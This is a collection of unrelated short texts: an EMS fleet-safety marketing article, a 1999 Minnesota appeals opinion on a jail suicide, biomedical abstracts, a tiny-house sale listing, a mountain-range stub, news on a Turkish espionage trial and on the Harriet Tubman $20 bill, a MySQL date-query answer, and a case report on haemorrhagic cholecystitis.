Did you know that ambulances and other emergency response vehicles are 13 times more likely to be involved in an accident compared to other vehicles?
Driver safety and vehicle performance are key pain points for those who manage EMS operations because their crews are constantly responding to emergencies—which can necessitate speeding and other hazardous behaviors. While some risks are inevitable, there are opportunities to improve driver performance using tools such as behavior monitoring, alerts, scorecards, feedback and coaching.
By making driver safety a priority, EMS organizations can significantly improve service to patients and other passengers—and reduce costs related to accidents and vehicle maintenance.
3 Key Steps to Improving Driver Safety
Monitoring Overall Driver Performance—Not Just Exceptions
Monitoring driver behavior is one of the most important components of a culture of safety in the EMS industry. However, many companies still only monitor exceptions or violations, without evaluating each driver’s overall performance. As a result, it is easy to miss warning signs that occur before a driver gets into an accident.
It’s much more important to monitor the overall behavior of your drivers, rather than only examining isolated incidents of unsafe driving. Likewise, you need to be able to understand the context in which violations occur. For example: was an ambulance driver speeding because the crew was rushing to the scene of a medical emergency?
Given the nature of EMS operations, having access to granular data about driver performance is essential.
Addressing Unsafe Behavior With Individualized Coaching
When you have a total solution for driver behavior monitoring, you can institute driver evaluations and personalized coaching. This type of follow up is another critical part of achieving a safety culture in an EMS organization. You need to be able to coach drivers based on their behavior—not just fleet-wide metrics.
There are two requirements for effective coaching: comprehensive monitoring and individual driver identification. It’s impossible to maintain accountability if you can’t be certain who was driving a vehicle at the time of an incident. You also need granular performance data. It isn’t enough to know that a vehicle was speeding or took a turn too fast. You need to know how much the driver was speeding compared to the posted limit, or how hard the turn was taken.
Reinforcing Safety Guidelines With Real-Time Alerts and Feedback
Once you’ve established effective behavior monitoring and started coaching your drivers, you’ve laid the foundation for a culture of safety—but the work isn’t done. Changing human behavior requires ongoing reinforcement. In an EMS environment, this is best achieved by providing real-time feedback to drivers.
For example, imagine that one of your drivers is approaching an intersection too fast and has to stop suddenly. If you follow up a week later and say “you braked too harshly on May fifth at three o’ clock”—the driver probably isn’t even going to remember the incident clearly unless it was a major event (i.e., an accident or “close call”). Hearing this feedback detached from the actual behavior won’t leave much of an impression—or lead to safer decisions in the future.
You should be able to provide an immediate response to the driver, when the incident is fresh. Imagine the same situation—a driver brakes harshly—but this time immediate feedback is sent to the driver through a buzzer system in the vehicle. Alerting them on the spot ensures that the driver associates the feedback with the behavior—and the aversive stimulus of the buzzer will stick in their mind. The next time that driver is approaching a similar situation they will instinctively try to avoid hearing the buzzer by slowing down gradually.
Using These Three Best Practices to Build a Safety Culture
Once you have these three pillars in place, your organization will be positioned to make significant improvements in driver safety and overall performance. However, there will still be a long road ahead.
In addition to providing immediate feedback to drivers through a buzzer system, management should also be alerted when serious infractions or warning signs occur. If Driver A in Vehicle 419 just took a sharp turn at high speed with no emergency-related explanation, you want a supervisor to be alerted at that precise moment in time, so he can follow up with the driver as soon as possible.
Over the long term, you’ll need some type of business intelligence software to examine the data and glean actionable information about your risks. Tools like individual driver scorecards, fleet-wide reports, and real-time dashboards help to manage that process.
Applying gamification to your safety program is also a good way to engage your drivers on these issues. Creating a friendly competition between drivers, crews, or branches can help keep safety at the forefront of everyone’s minds. Simple rewards like a free lunch—or even compensation based on performance—will give drivers extra motivation to improve their metrics and make safety a priority throughout the entire organization.
Monitor, Analyze, and Improve EMS Driver Safety With StreetEagle
With the StreetEagle platform from InSight Mobile Data, EMS companies can leverage robust driver behavior monitoring and reporting tools to support a culture of safety.
StreetEagle is sophisticated in its capabilities, yet extremely easy to use. Complex challenges like individual driver identification are accomplished through simple solutions, such as allowing drivers to automatically log in and out of vehicles with a key fob or door monitor.
This all-in-one platform offers a wide range of additional capabilities for EMS organizations, including dynamic dispatch and routing, maintenance management, in-cab Wi-Fi access, and easy integration with existing systems such as CAD, AVL, and billing.
Contact InSight Mobile Data to learn more about how StreetEagle can help your company improve accountability and overall performance in EMS operations. |
601 N.W.2d 192 (1999)
Carlyn M. SANDBORG, Trustee fir the Next of Kin of Robert H. Sandborg, Jr., Appellant,
v.
BLUE EARTH COUNTY, et al., Respondent.
No. C6-99-243.
Court of Appeals of Minnesota.
September 21, 1999.
Rehearing Granted in Part November 23, 1999.
*193 Keith L. Deike, Patton, Hoversten & Berg, P.A., Waseca, MN (for appellant)
Roger L. Rowlette, Jenell M. Matthews, Johnson & Lindberg, P.A., Minneapolis, MN (for respondent)
Considered and decided by KLAPHAKE, Presiding Judge, ANDERSON, Judge, and HALBROOKS, Judge.
*194 OPINION
HALBROOKS, Judge
Appellant Carlyn Sandborg, trustee for the next of kin of Robert H. Sandborg, Jr., challenges the trial court's denial of her motions for judgment notwithstanding the verdict and a new trial. Appellant argues: (1) the trial court erred by failing to instruct the jury that respondents owed Sandborg a duty to take reasonable measures to prevent his self-injury; (2) the trial court erred by instructing the jury on comparative fault; and (3) the trial court erred by not granting judgment notwithstanding the verdict. We hold that the trial court erred by failing to instruct the jury that the respondents owed appellant's decedent a duty as a matter of law. We reverse and remand for a new trial on liability only.
FACTS
On May 14, 1993, appellant's decedent Robert H. Sandborg, Jr., was arrested and booked at the Blue Earth County Jail on a charge of felony second-degree criminal sexual conduct for allegedly molesting an 11-year-old girl earlier that day. Prior to his arrest, Sandborg had called the police to report his crime and request that he be arrested. Mankato Police Officers Walsh and Myers were dispatched to Sandborg's location. Walsh identified Sandborg and observed that he was visibly shaking and his eyes and nose were reddened as if he had been crying. Walsh placed Sandborg in her squad car. Moments later, the juvenile female approached the officers and reported that Sandborg had molested her.
Walsh transported Sandborg to the Law Enforcement Center and conducted a preliminary interview. Sandborg then gave a formal statement, admitting the incident in detail. At one point during the formal statement, Sandborg, referring to the time immediately following the incident, stated:
I kept pacing back and forth, back and forth, I couldn't, couldn't slow down, I just wanted to tell somebody real bad. It was either tell somebody or get gun [sic], gun and use it on myself. I was really, really seriously [sic] thought about killing myself after that but I didn't think I was that kind of a person.
Walsh asked if Sandborg was still thinking about killing himself, and he replied, "A little, not as much as before."
After spending approximately three hours with Sandborg, Walsh brought him to the jail. Before admitting him to the jail, Walsh partially completed a "Personal History" form on Sandborg. On that form, Walsh placed a "Y" next to the question asking, "Does inmate exhibit behavior suggesting suicide/assault?"
Respondent Custody Officer Norman Knowles booked Sandborg into the jail while Walsh was present. Walsh gave Knowles the personal history form. During the booking process, Knowles asked Sandborg whether he was suicidal. Knowles testified at trial that Sandborg responded, "No, not at this time." Walsh testified at trial that Sandborg "indicated that he had thought about it seriously at one point, but at the time it was just coming and going." Knowles did not ask Sandborg any further questions regarding his emotional state.
While Knowles completed the booking, Walsh spoke to respondent Custody Officer James Sheppard in the hallway. Walsh explained to Sheppard that Sandborg had made some suicidal comments during the interview. Sheppard informed Walsh that there were no other prisoners at the jail with whom to house Sandborg. Sheppard testified at trial that state guidelines provided unsentenced felons must be housed with other unsentenced felons and Sandborg was the only unsentenced felon in the jail at that time.
Sandborg was housed alone in a cell-block known as "S. Max.," a five-man cell surrounded by solid walls with viewing ports cut into the walls. There are metal covers for the viewing ports, but all jail personnel testified those ports were generally *195 left open so an officer could observe the prisoner while walking by the cell.
After Sandborg was escorted to his cell, Sheppard went into the cell to determine whether Sandborg needed any help or should be placed in medical isolation. Sheppard asked whether Sandborg wanted to talk to anyone, and Sandborg responded that he did not. Sheppard also asked whether Sandborg was going to do anything "foolish," to which Sandborg responded, "No." After speaking to Sandborg for five to ten minutes, Sheppard concluded he seemed fine.
In addition to the regularly recorded hourly cell checks, Sheppard and Knowles each testified they performed numerous informal checks on Sandborg while walking by the cell and didn't observe any unusual behavior on Sandborg's part. Custody Officer Carstensen also testified that he observed Sandborg's behavior to be normal, giving no indication of mental illness or suicidal ideation.
On May 16, 1993, Sandborg's mother, appellant Carlyn Sandborg, visited him. She arrived at the jail at 1:10 p.m. and visited with him until 1:38 p.m. During the visit, they discussed seeking the services of a bail bondsman in order to obtain Sandborg's release from jail. Sandborg seemed to be in good spirits and indicated he was looking forward to getting out of jail. Appellant was not concerned that Sandborg was suicidal when she left him at the end of the visit. After the visit, Sandborg was returned to his cell.
Shortly thereafter, at approximately 1:58 p.m., appellant telephoned the jail and spoke to Carstensen regarding bail bondsmen. Immediately after the call, Carstensen attempted to relay a message to Sandborg over the intercom, but Sandborg did not reply. Carstensen then went back to Sandborg's cell, at which time he found Sandborg hanging by his bedsheet. With assistance from a co-worker, Carstensen was able to cut Sandborg down and begin CPR. Paramedics arrived and were able to restore a heartbeat, but Sandborg died at the hospital two days later as the result of injuries he received from hanging himself.
At trial, appellant's expert testified that a reasonable custody officer would have refused admittance to the jail based on Walsh's indication that Sandborg may have been suicidal. In the alternative, the expert testified that Sandborg should have been placed under constant observation. Appellant's expert also testified that once a person decides to commit suicide, he becomes calm or even euphoric. He testified respondents' training was inadequate, but he admitted that their training met Department of Corrections guidelines. The officers had received suicide training conducted by the State of Minnesota Sheriff's Association, the Minnesota Department of Corrections, and the Minnesota Jail Resource Center shortly before this incident occurred.
Appellant, trustee for Sandborg's next of kin, brought the instant action against respondents alleging negligence and violation of Sandborg's civil rights. A jury trial was held. At the close of evidence, the trial court gave the following negligence instruction:
Negligence is a failure to use reasonable care. Reasonable care is that care which a reasonable person would use under like circumstances. Negligence is the doing of something, which a reasonable person would not do, or the failure to do something which a reasonable person would do under like circumstances.
You must determine whether the Defendant, Blue Earth County, acting through its employees, owed a duty to Robert Sandborg, whether it was negligent in performing that duty, and whether that negligence was a direct or proximate cause of the harm suffered.
The trial court also gave a comparative fault instruction. The jury returned special verdicts finding negligence on the part of Sandborg, but no negligence and no civil rights violations on the part of respondents. *196 The jury found damages totaling $157,428.26.
Appellant brought a post-trial motion for judgment notwithstanding the verdict or, in the alternative, a new trial on the negligence claim. The trial court concluded it had erred by submitting the duty issue to the jury rather than determining there was a duty as a matter of law, but nevertheless denied appellant's motions, ruling the error was harmless in light of the jury's finding of no negligence on the part of respondents. Judgment was entered and this appeal followed.
ISSUES
1. Did the trial court abuse its discretion by denying appellant's motion for a new trial?
2. Did the trial court err in denying appellant's motion for judgment notwithstanding the verdict?
ANALYSIS
1. New Trial Motion
a. Duty Instruction
Appellant argues the trial court's instruction on duty did not correctly state the applicable law and the trial court should have determined there was a duty as a matter of law. A trial court has broad discretion in determining jury instructions. State Farm Fire & Cas. Co. v. Short, 459 N.W.2d 111, 113 (Minn.1990). Where instructions fairly and correctly state the applicable law, an appellate court will not grant a new trial. Alevizos v. Metropolitan Airports Comm'n, 452 N.W.2d 492, 501 (Minn.App.1990), review denied (Minn. May 11, 1990). Jury instruction errors are not grounds for reversal unless the error is prejudicial. Lewis v. Equitable Life Assurance Soc'y, 389 N.W.2d 876, 885 (Minn. 1986).
The existence of a legal duty is generally an issue for the court to decide as a matter of law. Larson v. Larson, 373 N.W.2d 287, 289 (Minn.1985). Generally, there is no duty to protect another person, even if protection is reasonably known to be necessary. Donaldson v. Young Women's Christian Ass'n, 539 N.W.2d 789, 792 (Minn.1995); Restatement (Second) of Torts § 314 (1965). But a legal duty to act to protect another person is imposed under certain circumstances when a special relationship exists between the parties. Id.
When * * * a person has custody of another under circumstances in which the other person is "deprived of normal opportunities of self protection," such a duty is imposed on the custodian because of the special relationship that exists between custodian and detainee.
Cooney v. Hooks, 535 N.W.2d 609, 611 (Minn.1995) (holding government had general duty to protect prisoners from attack by other prisoners) (citation omitted); see also Restatement (Second) of Torts § 314A(4) (1965) (stating duty arises when one is required by law to take custody of another "under circumstances such as to deprive the other of his normal opportunities for protection").
Appellant contends the trial court erred by not instructing the jury as a matter of law that respondents had a duty to protect Sandborg from self-injury. Courts have generally been reluctant to impose liability on others for self-inflicted harm. Donaldson, 539 N.W.2d at 792. But the duty to protect a person from self-injury has been found "where an institution such as a hospital or jail has physical custody and control of the person to be protected." Id. (citations omitted).
Although Minnesota courts have not yet determined whether a jail may owe a duty to protect prisoners from self-injury, id. at n. 4, a number of jurisdictions have determined that jail or prison authorities have a duty of reasonable care to protect a prisoner from self-injury if they know or have reason to know the prisoner might do harm to himself. See Jane M. Draper, Annotation, Civil Liability of Prison or Jail Authorities for Self-inflicted *197 Injury or Death of Prisoner, 79 A.L.R.3d 1210, 1214 (1977).
"A jailer is not, however, a guarantor of the safety of a prisoner." Cooney, 535 N.W.2d at 611 (citation omitted). The duty of protection only arises when the harm to be prevented is foreseeable under the circumstances. Id. Respondent relies on Lundgren v. Fultz, 354 N.W.2d 25, 28 (Minn.1984), for the proposition that close questions of foreseeability are properly jury questions. But subsequent to the decision in Lundgren, the supreme court has noted:
[W]e are troubled by the practice of placing foreseeability within the jury's domain. The foreseeability issue, as a threshold issue, is more properly decided by the court prior to submitting the case to the jury. If the trial court concludes that the innkeeper did not have notice of the person's dangerous propensities, then it must find that the injury would not have been foreseeable to a reasonable innkeeper and thus, no duty to protect arose.
Cooney, 535 N.W.2d at 612 (quoting Alholm v. Wilt, 394 N.W.2d 488, 491 n. 5 (Minn.1986)).
Under the circumstances of the instant case, we conclude it was reasonably foreseeable that Sandborg might attempt suicide. First, although there is conflicting testimony over what Sandborg reported to Knowles at booking, the evidence is uncontradicted that Walsh indicated via the "Personal History" form that Sandborg exhibited behavior suggesting suicide/assault. Second, appellant's expert testified that the nature of the crime itself was sufficient to place respondents on notice of the possibility of self-injurious behavior; the evidence is certainly clear that Sandborg was ashamed and humiliated because of the offense. Finally, Walsh also told respondent Sheppard that Sandborg had made some suicidal comments. The trial court acknowledged in its memorandum denying the post-trial motions that it should have instructed the jury as a matter of law that respondents owed Sandborg a duty of reasonable care to protect him from self-injury under these circumstances. We agree.
We disagree, however, with the trial court's determination that a new trial was not necessary because the jury found respondents were not negligent. The existence of a duty is an element of a negligence claim. Schweich v. Ziegler, Inc., 463 N.W.2d 722, 729 (Minn.1990). Although it is possible the jury found there was a duty, but no negligence, it is also possible the jury found no negligence because it found no duty. "If an instruction is erroneous and an appellate court is unable to determine whether the error affected the jury, a new trial should be granted." Apache Plaza, Ltd. v. Midwest Sav. Ass'n, 456 N.W.2d 729, 733 (Minn.App.1990), review denied (Minn. Aug. 23, 1990). Because the trial court's instruction allowed the jury to decide there was no duty to protect Sandborg from self-injury, it is impossible to determine whether the error affected the verdict. We, therefore, conclude the trial court abused its discretion by denying appellant's motion for a new trial.
b. Comparative Fault
Appellant also argues the trial court erred by instructing the jury on comparative fault. In an action to recover damages for fault resulting in death,
the court may, and when requested by any party shall, direct the jury to find separate special verdicts determining the amount of damages and the percentage of fault attributable to each party and the court shall then reduce the amount of damages in proportion to the amount of fault attributable to the person recovering.
Minn.Stat. § 604.01, subd. 1 (1998). Minnesota courts have "liberally applied comparative fault principles even to situations in which other jurisdictions have refused *198 such application." Tomfohr v. Mayo Found., 450 N.W.2d 121, 123 (Minn.1990).
Appellant relies on Tomfohr for the proposition that comparative fault is inapplicable when a defendant has a duty to prevent foreseeable self-injury. See id. at 125. We believe appellant reads Tomfohr too broadly.
In Tomfohr, an individual with major depression and suicidal and homicidal ideations was admitted to the locked unit of a hospital psychiatric ward at his own request. Id. at 122. Although he was not considered to be a serious suicide risk at the time of admission, hospital staff were aware of his suicidal ideations and attempted to remove items from him that could be used self-destructively. Id. They neglected, however, to take from him a leather duffel bag with a removable shoulder strap. Id. at 122-23. He later hanged himself from a door using that strap. Id. at 123.
The supreme court held the trial court did not err by refusing to instruct on "capacity based"[1] comparative fault. Id. at 125. But the supreme court expressly limited its holding to the facts present in Tomfohr, stating
[T]his ruling is limited to the type of factual situation presented by this case, to-wit, an attempted suicide committed by a mentally ill patient admitted to a locked hospital ward where the medical staff was aware of his suicidal ideations. * * * [O]ur holding today only stands for the proposition that cases may exist, such as this one, where a trial judge may rule, as a matter of law, that the patient could not be at fault because he lacked the capacity to be responsible for his own well being, and that the obligation of self care was transferred to the health care provider when it admitted the patient into its care.
Id. (emphasis added).
In the instant case, by contrast, there was no evidence that Sandborg was mentally ill. Furthermore, in contrast to the patient in Tomfohr, who was admitted to the hospital because he believed he could not control himself, Sandborg was in jail because he admitted he committed a felony sex crime. There was no evidence from which the trial court could have ruled as a matter of law that Sandborg lacked capacity. Unlike the mentally ill patient in Tomfohr, Sandborg had the capacity to share the responsibility for his own well-being. We, therefore, conclude the trial court did not err by instructing the jury on comparative fault under Minn.Stat. § 604.01, subd. 1.
2. Judgment Notwithstanding the Verdict
Appellant also argues that the district court erred by denying the motion for judgment notwithstanding the verdict.
A motion for judgment notwithstanding the verdict admits every inference reasonably to be drawn from the evidence as well as the credibility of the testimony for the adverse party. Unless we are able to determine that the evidence is practically conclusive against the verdict, or that reasonable minds could reach but one conclusion against the verdict, the trial court's order denying the motion for judgment notwithstanding the verdict should stand.
Seidl v. Trollhaugen, Inc., 305 Minn. 506, 507, 232 N.W.2d 236, 239 (1975).
Our review of the trial record in the instant matter convinces us that reasonable minds could differ as to the negligence element and the proximate cause element. These are issues properly resolved by a jury.
DECISION
Because the trial court's failure to instruct the jury on respondents' duty may have allowed the jury to avoid the negligence *199 issue, the trial court abused its discretion in denying appellant's motion for a new trial. We, therefore, reverse and remand for a new trial on liability only.
Reversed and remanded.
NOTES
[1] A "capacity based" standard requires the jury to consider the patient's mental capacity when apportioning fault. Tomfohr, 450 N.W.2d at 123 n. 3.
|
Proopiomelanocortin gene promoter elements required for constitutive and glucocorticoid-repressed transcription.
The POMC gene is expressed predominantly in the anterior pituitary. The high level of POMC transcription in this tissue is modulated by peptide hormones and repressed by glucocorticoids. In this present study we have investigated promoter elements required for the high basal transcription and glucocorticoid repression using transient transfection and in vitro transcription assays. We first determined that the region between -77 to -51 of the promoter, which has previously been shown to harbor a glucocorticoid receptor-binding site, is required for high basal expression both in vivo and in vitro. This promoter domain is also required for glucocorticoid repression of transcription in vivo. Two site-directed mutants within this area both decreased basal transcription, but were fully repressed by glucocorticoids, implying that the -77 to -51 region is a complex regulatory region harboring separable basal and glucocorticoid-repressible elements. Electrophoretic mobility shift and exonuclease III footprinting analysis revealed the existence of two factors that bind in this region. We also examined the effect of broad promoter deletions on basal expression and glucocorticoid repression. These experiments revealed that the region between -480 and -320 is also required for glucocorticoid repression. Taken together, the data suggest a model in which high basal transcription is generated by direct interaction of factors binding between -480 to -320 and -77 to -51. Glucocorticoid repression could occur by direct receptor disruption of these interactions. |
Terraform One is a 250 sq ft modern tiny home that was created as a collaboration. Built to be a forever home, Terraform is not a typical tiny house. Half of the total home budget went into engineering, including a custom-built trailer and a durable, energy-efficient shell constructed with Structural Insulated Panels (SIPs). Inside, Terraform’s aesthetics are equally top-quality. Finished in June 2016, it features a modern industrial design with exposed conduit, a kitchen ready for a chef with a commercial sink, 110” projector set up with whole home surround sound, plenty of storage, a 100 sq ft 2-level deck, and comes complete with all the household items you need to move in on day one. This Tiny Home on Wheels (THoW) was built for an individual, couple, or even a small family. Anyone looking to live both simply and comfortably without spending their whole life paying off a mortgage. Parking and towing are available! After living in the home for almost two years, I realized it’s just way too big for me. I started building my new 54 Sq Ft Tiny House on Wheels in March of 2017 and moved into it in October of this year. Terraform One has been an amazing home, but I need to pass it onto someone who wants a bigger tiny home. More information at https://terraformth.com/tiny-house-sale Please have any inquiries come to me directly at Richard@TerraformTH.com or Call: 817.721.8477
Features Include: Laundry |
Adhesion molecules in nonrheumatic aortic valve disease: endothelial expression, serum levels and effects of valve replacement.
We studied the expression of intercellular adhesion molecule 1 (ICAM-1), vascular cell adhesion molecule 1 (VCAM-1) and endothelial selectin (E-selectin) on aortic valve endothelium in patients undergoing valve replacement. We also assessed the relation between serum levels and endothelial expression and also the changes in serum levels following surgery. Nonrheumatic aortic valve disease is believed to be a degenerative condition. Increased tissue and soluble adhesion molecule levels are described in inflammatory conditions. Aortic valves from 22 surgical (16 bicuspid, 6 tricuspid) and 6 autopsy (4 normal, 2 thickened) cases were studied by immunohistochemistry. Soluble adhesion molecules were measured in peripheral blood preoperatively, and at 6 and 18 months postoperatively, and compared with controls. The majority of the surgically removed tricuspid and bicuspid valves expressed adhesion molecules (E-selectin, 75% and 100%; ICAM-1, 75% and 80%; VCAM-1, 69% and 60%, respectively). The normal postmortem valves did not express these, while the diseased ones did. Endothelial expression of E-selectin correlated strongly with serum levels (r = 0.695, p = 0.004). Soluble E-selectin levels were significantly higher at baseline compared with controls (p = 0.017) and fell significantly at 18 months postoperatively (p = 0.005). Adhesion molecule expression on diseased valves supports an inflammatory component in "degenerative" aortic valve disease. The diseased valves may be the main source of elevated soluble E-selectin in this condition as blood levels correlate with endothelial expression and blood levels fall at 18 months postoperatively. |
Clover Mountains
The Clover Mountains are a mountain range in Lincoln County, Nevada.
The Clover Mountains Wilderness make up a large part of the mountain range.
The Clover Mountains are the southern mountains on the east perimeter of the Meadow Valley Wash watershed.
References
See also
List of Great Basin Divide border landforms of Nevada
Great Basin Divide
Category:Mountain ranges of Lincoln County, Nevada
Category:Mountain ranges of Nevada |
A Turkish court ruled on Wednesday to keep a US consulate employee in jail as his trial on espionage charges continues.
Metin Topuz, a Turkish citizen and liaison for the US Drug Enforcement Administration who has been jailed since 2017 told a judge no credible evidence had been submitted against him.
The case has added to growing tension between Ankara and Washington, who have also been at odds over developments in Syria and Turkey's purchase of Russian missile defence systems.
Turkish authorities accuse Mr Topuz of ties to US-based Muslim preacher Fethullah Gulen, who Ankara says ordered an attempted coup the year before.
His next court appearance was set for March 10.
"The charges are based on unrealistic allegations and contradictory testimonies of so-called witnesses," Mr Topuz told the Istanbul court.
"Not one single piece of evidence has been presented to the court that would convince a rational person that I tried to destroy the Turkish republic," he said, referring to claims made by the prosecution.
The trial has been delayed as prosecutors try to locate a witness who Topuz's lawyers say has fled to Italy and has no bearing on the case.
Since the failed 2016 coup, tens of thousands of people have been arrested over suspected ties to Mr Gulen and more than 100,000 people have been sacked or suspended from public sector jobs. Mr Gulen rejects the coup accusations.
Washington's refusal to extradite Mr Gulen, combined with differences over the Syrian conflict and Turkey's decision to buy a Russian missile defence system, have put unprecedented strain on relations between the Nato allies.
The court has repeatedly said it wants to hear one remaining witness in the case. |
Q:
What causes a Date to be while specifically selecting the NOT NULL fields?
In one of my MYSQL databases, I have done the following query :
SELECT * FROM mytable WHERE date_column < 1971-01-01 AND date_column IS NOT NULL;
This returns about 3000 items where the date is shown as NULL in the mysql command line prompt, and in the IntelliJ IDEA mysql database editor.
The column has a DATE type.
The database is a copy of a prod database environment that has been running for a couple years.
How can a record end up in that state ? What is that state ? How can I fix it properly ?
PS: The < 1971/01/01 clause was just to filter the correct dates out of the query. If I just query on the IS NOT NULL clause, I still get these weird dates of course.
A:
I am surprised this works. First, date constants should be surrounded by single quotes:
SELECT *
FROM mytable
WHERE date_column < '1971-01-01' AND date_column IS NOT NULL;
Second, this cannot return a NULL value for date_column. This suggests one of two things:
date_col is actually another type, such as varchar and you are seeing 'NULL' the string, not NULL the value.
another column is NULL.
|
Harriet Tubman to Replace Andrew Jackson on the Face of the $20 Bill Treasury Dept. spokesman confirmed the change.
-- African-American civil rights activist and abolitionist Harriet Tubman will become the new face of the $20 bill, replacing former President Andrew Jackson, U.S. Treasury Secretary Jacob Lew announced today, while Alexander Hamilton will remain on the $10 bill.
The changes are part of an effort by the Obama administration to put a woman on paper currency and Lew said that along with Tubman becoming the face of the $20 bill, images of women and civil rights era leaders will also be added to bills.
"We are putting a woman on the 20, the 10, and the 5 and we are going to move as quickly as we can get all of these bills out there," Lew said in an interview with ABC News.
The new designs will start to go into effect in 2020, the centennial of the passage of the 19th Amendment that gave women the right to vote.
The Obama administration had earlier announced plans to put a woman on the $10 bill, but the renewed interest in Hamilton, the nation's first treasury secretary, pushed the government to abandon that idea and instead target the $20 bill for a redesign.
"This is I think an outcome that Hamilton supporters can be pleased with," Lew said.
Hamilton, who has been featured on the $10 bill since 1929, has recently risen in popularity due to the hit Broadway musical that bears his name. The play’s creator, Lin-Manuel Miranda won the Pulitzer Prize for drama this week. Miranda put pressure on Lew to keep Hamilton on the front of the bill, and Tweeted about a one-on-one meeting they had last month.
But not everyone is pleased with Lew’s decision.
A number of high-profile women today penned an open letter to the secretary asking him to select a woman for the $10 note because a redesign of the $20 bill will take longer to complete, possibly up to 10 years.
"As a country, it is about time we put our money where our mouth is in the fight to support women," states the letter signed by, among others, Ellen DeGeneres, Katie Couric and Gloria Steinem.
They also argued that the interim plan to have a woman included on the back of the $10 bill is more an insult than a compromise.
"Could there be a better metaphor for the second-class status that continues to limit our girls?" the letter reads.
Lew defended the decision, pointing out that more images of women will now be shown on bills than earlier planned.
"On the back of the ten, we are going to tell the story of women’s suffrage, it is going to have the leaders of the suffrage movement, culminating in a rally on the steps of the Treasury Department building," he told ABC News. "On the back of the five, we are going to have an image of Marian Anderson and Eleanor Roosevelt." |
INTRODUCTION {#rjy360s6}
============
A diagnosis of haemorrhagic cholecystitis is difficult to make as it is rare and the presentation mimics other more common disorders---typically acute cholecystitis. We report three non-consecutive, single-centre cases of haemorrhagic cholecystitis and a review of the literature. Causes of haemorrhagic cholecystitis are rare especially if there is no known underlying pathology.
CASE 1 {#rjy360s7}
======
An 87-year-old gentleman presented to Accident and Emergency Department (A&E) with a 5-day history of sharp right iliac fossa pain aggravated by movement and a productive cough. There was no associated vomiting, bowels were normal but he had a reduced appetite for the last week.
The patient had a complex past medical history, with asymptomatic IgG kappa myeloma, chronic obstructive pulmonary disease, ischaemic heart disease and previous pulmonary emboli. He was on Warfarin with target INR of 3--4. His surgical history was a previous appendicectomy. Prior to admission he was under investigation for a gastrointestinal stromal tumour.
On examination there was a small palpable mass and tenderness in the right iliac fossa, PR examination was unremarkable. Observations were stable and he was apyrexial.
Initially on admission he was managed as an infective exacerbation of COPD. Blood tests revealed a macrocytic anaemia (Hb 108 g/L), neutrophilia (8.8 g/L) with a WCC of 11.1 × 10^9^ L, slightly deranged liver function (bilirubin 21 μM, AST was 50 iU/L) and CRP of 236 mg/L. At the time of presentation INR was 7.8. CT abdomen/pelvis showed pericholecystic inflammatory change, in keeping with cholecystitis, with hyper-attenuation in the gallbladder, suggestive of haemorrhage (Fig. [1](#rjy360F1){ref-type="fig"}).
{#rjy360F1}
Following this he underwent percutaneous cholecystostomy and 300 ml of blood was drained. He was treated with IV antibiotics. The patient was discharged and was well on follow up.
CASE 2 {#rjy360s8}
======
A 65-year-old lady presented to A&E with a 2-day history of nausea and generalized upper abdominal pain. She denied any fevers, vomiting or urinary symptoms but had not opened her bowels for 2 days. She had a past medical history of hypothyroidism, atrial fibrillation, polycystic kidney disease and a previous ovarian cystectomy. She was on warfarin with a target INR of 2--3.
On examination she had a soft, moderately distended abdomen with tenderness in the right lumbar region. Bloods revealed a WCC of 10.5 × 10^9^ L, deranged liver function tests (Bilirubin 21 μM, AST 114 iU/L and an ALP of 156 iU/L) and INR 2.8.
She was treated initially for an acute appendicitis, and a CT abdomen/pelvis revealed a distended gallbladder containing an acute haemorrhage, which was further characterized with an abdominal ultrasound. The decision was taken to treat conservatively with antibiotics. She was discharged 5 days later and underwent elective cholecystectomy.
CASE 3 {#rjy360s9}
======
A 92-year-old lady presented to A&E with a 1-day history of severe intermittent sharp right upper quadrant and epigastric pain with a single episode of bilious vomiting. She had also noticed a tender abdominal mass in the right upper quadrant.
She had a past medical history of renal transitional cell carcinoma, diverticular disease, anaemia, glaucoma, hiatus hernia and had previously undergone a hysterectomy. She was not on any anti-coagulation.
On examination she was tender in the right upper quadrant. Bloods showed raised inflammatory markers (WCC 26 × 10^9^ L, Neutrophils 24 g/L and CRP 192 mg/L) and ALP (186 iU/L) with an INR of 1.1.
She was initially treated with IV antibiotics for biliary sepsis and underwent an ultrasound scan which showed possible acute cholecystitis, with an oedematous thick-walled gallbladder but no gallstones visualized.
CT abdomen/pelvis showed gross distention of the gallbladder with an oedematous wall measuring up to 4 mm in thickness. There was a suspected defect noted in the posteroinferior gallbladder wall suspicious for perforation and an ill-defined hyperdensity within the gallbladder lumen with no gallstones identified. There was a moderate volume of free fluid in the pelvis.
She had a percutaneous cholecystostomy inserted, where heavily bloodstained bile was drained initially and then haemoserous fluid, she was discharged home on oral antibiotics with the drain *in-situ*. On review in clinic 4 weeks post discharge she was clinically well with no ongoing pain and the drain was removed.
DISCUSSION {#rjy360s10}
==========
Whilst acute cholecystitis is a common presentation, haemorrhagic cholecystitis is a rare complication which presents with symptoms of right upper quadrant pain and positive Murphy's sign \[[@rjy360C1]\]. The pathogenesis is not fully understood, but it is theorized that transmural inflammation leads to ischaemia and erosion of the gallbladder mucosa, which can lead to haemobilia \[[@rjy360C2]--[@rjy360C4]\].
The aetiology is not fully understood, however there are some causes reported in the literature, such as chronic renal failure, gallbladder neoplasm, haemophilia and vasculidities \[[@rjy360C5], [@rjy360C6]\]. Patients with haemorrhagic cholecystitis commonly have other medical co-morbidities with many either taking anticoagulants or steroids, which increases the likelihood of haemorrhage into the gallbladder \[[@rjy360C7], [@rjy360C8]\].
Diagnosis of haemorrhagic cholecystitis is challenging as haemorrhage in the gallbladder is often difficult to image using conventional methods \[[@rjy360C9]\]. CT shows wall thickening of the distended gallbladder and heterogenous materials inside the gallbladder, whilst ultrasound can also be used to visualize hyperechoic contents in the gallbladder \[[@rjy360C3]\].
Cholecystectomy on actively infected or inflamed gallbladders may increase risk of complications \[[@rjy360C10]\], therefore in many cases a percutaneous cholecystotomy can be performed. Previous literature suggests that the use of cholecystostomy can be less successful than cholecystectomy with repeat CT showing hyperdense contents in the gallbladder \[[@rjy360C3]\]. Another potential option is to treat conservatively with antibiotics and withholding anti-coagulant therapy.
